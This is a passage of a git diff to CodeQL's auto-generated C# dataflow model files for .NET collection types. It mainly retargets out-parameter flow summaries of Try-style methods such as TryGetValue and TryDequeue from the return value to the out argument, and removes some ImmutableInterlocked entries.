"Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "Queue+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Generic.Queue`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "Queue+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "Queue", False, "Dequeue", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "Queue", False, "Enqueue", "(T)", "", "Argument[0]", "Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "Queue", False, "Queue", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element", "value", "dfc-generated"] - - ["System.Collections.Generic", "Queue", False, "TryDequeue", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Generic", "Queue", False, "TryPeek", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Generic", "Queue", False, "TryDequeue", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element", "Argument[0]", "value", "dfc-generated"] + - ["System.Collections.Generic", "Queue", False, "TryPeek", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element", "Argument[0]", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Generic.SortedDictionary`2+Enumerator.Current].Property[System.Collections.Generic.KeyValuePair`2.Key]", "ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Generic.SortedDictionary`2+Enumerator.Current].Property[System.Collections.Generic.KeyValuePair`2.Value]", "ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Value]", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -135,7 +139,7 @@ extensions: - ["System.Collections.Generic", "SortedList", False, "GetValueAtIndex", "(System.Int32)", "", "Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedList", False, "SetValueAtIndex", "(System.Int32,TValue)", "", "Argument[1]", "Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedList", False, "SortedList", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.comparer]", "value", "dfc-generated"] - - ["System.Collections.Generic", "SortedList", False, "TryGetValue", "(TKey,TValue)", "", "Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Generic", "SortedList", False, "TryGetValue", "(TKey,TValue)", "", "Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedList", False, "get_Comparer", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.comparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "SortedSet", False, "CopyTo", "(T[])", "", "Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item]", "Argument[0].Element", "value", "dfc-generated"] @@ -145,7 +149,7 @@ extensions: - ["System.Collections.Generic", "SortedSet", False, "SortedSet", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "SortedSet", False, "SymmetricExceptWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedSet", False, "SymmetricExceptWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item]", "value", "dfc-generated"] - - ["System.Collections.Generic", "SortedSet", False, "TryGetValue", "(T,T)", "", "Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Generic", "SortedSet", False, "TryGetValue", "(T,T)", "", "Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedSet", False, "UnionWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedSet", False, "UnionWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item]", "value", "dfc-generated"] - ["System.Collections.Generic", "SortedSet", False, "UnionWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[this].Element", "Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item]", "value", "dfc-generated"] @@ -162,8 +166,8 @@ extensions: - ["System.Collections.Generic", "Stack", False, "Push", "(T)", "", "Argument[0]", "Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "Stack", False, "Stack", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "Stack", False, "ToArray", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Collections.Generic", "Stack", False, "TryPeek", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Generic", "Stack", False, "TryPop", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Generic", "Stack", False, "TryPeek", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element", "Argument[0]", "value", "dfc-generated"] + - ["System.Collections.Generic", "Stack", False, "TryPop", "(T)", "", "Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element", "Argument[0]", "value", "dfc-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel diff --git a/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml index 66a9ffc7958..c2b0ddb02cd 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml @@ -142,8 +142,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableDictionary", False, "ToImmutableDictionary", "(System.Collections.Generic.IEnumerable,System.Func,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "ToImmutableDictionary", "(System.Collections.Generic.IEnumerable,System.Func,System.Collections.Generic.IEqualityComparer)", "", "Argument[1].ReturnValue", "ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Builder", False, "GetValueOrDefault", "(TKey,TValue)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary+Builder", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary+Builder", False, "TryGetValue", "(TKey,TValue)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary+Builder", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "Clear", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -152,8 +151,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "TryGetValue", "(TKey,TValue)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer]", "value", "dfc-generated"] @@ -171,7 +169,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableHashSet", False, "ToImmutableHashSet", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "ToImmutableHashSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet+Builder", False, "SymmetricExceptWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableHashSet+Builder", False, "TryGetValue", "(T,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet+Builder", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -179,45 +177,25 @@ extensions: - ["System.Collections.Immutable", "ImmutableHashSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableHashSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "WithComparer", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "get_KeyComparer", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func)", "", "Argument[1]", "Argument[2].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func)", "", "Argument[1]", "Argument[3].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func)", "", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func)", "", "Argument[3].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func)", "", "Argument[1]", "Argument[3].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func)", "", "Argument[3].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Enqueue", "(System.Collections.Immutable.ImmutableQueue,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg)", "", "Argument[1]", "Argument[2].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg)", "", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg)", "", "Argument[3]", "Argument[2].Parameter[1]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func)", "", "Argument[1]", "Argument[2].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func)", "", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "GetOrAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "InterlockedCompareExchange", "(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "InterlockedExchange", "(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "InterlockedInitialize", "(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Push", "(System.Collections.Immutable.ImmutableStack,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "TryAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "TryDequeue", "(System.Collections.Immutable.ImmutableQueue,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "TryPop", "(System.Collections.Immutable.ImmutableStack,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "TryRemove", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "TryRemove", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "TryUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,TValue)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Update", "(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Update", "(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg)", "", "Argument[2]", "Argument[1].Parameter[1]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Update", "(T,System.Func,TArg)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Update", "(T,System.Func,TArg)", "", "Argument[2]", "Argument[1].Parameter[1]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Update", "(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableInterlocked", False, "Update", "(T,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(T[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] @@ -281,9 +259,11 @@ extensions: - ["System.Collections.Immutable", "ImmutableQueue", False, "Create", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableQueue", False, "Create", "(T[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableQueue", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableQueue", False, "Dequeue", "(System.Collections.Immutable.IImmutableQueue,T)", "", "Argument[0].Element", "Argument[1]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableQueue", False, "Dequeue", "(System.Collections.Immutable.IImmutableQueue,T)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableQueue+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableQueue", False, "Dequeue", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableQueue", False, "Dequeue", "(T)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableQueue", False, "Dequeue", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableQueue", False, "Enqueue", "(T)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableQueue`1._forwards].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableQueue", False, "Peek", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableQueue`1._forwards].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head]", "ReturnValue", "value", "dfc-generated"] @@ -318,8 +298,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1].ReturnValue", "ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[2].ReturnValue", "ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Value]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", False, "GetValueOrDefault", "(TKey,TValue)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", False, "TryGetValue", "(TKey,TValue)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "value", "dfc-generated"] @@ -330,9 +309,8 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetValue", "(TKey,TValue)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "value", "dfc-generated"] @@ -357,8 +335,8 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "IntersectWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "SymmetricExceptWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "TryGetValue", "(T,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "TryGetValue", "(T,T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "TryGetValue", "(T,T)", "", 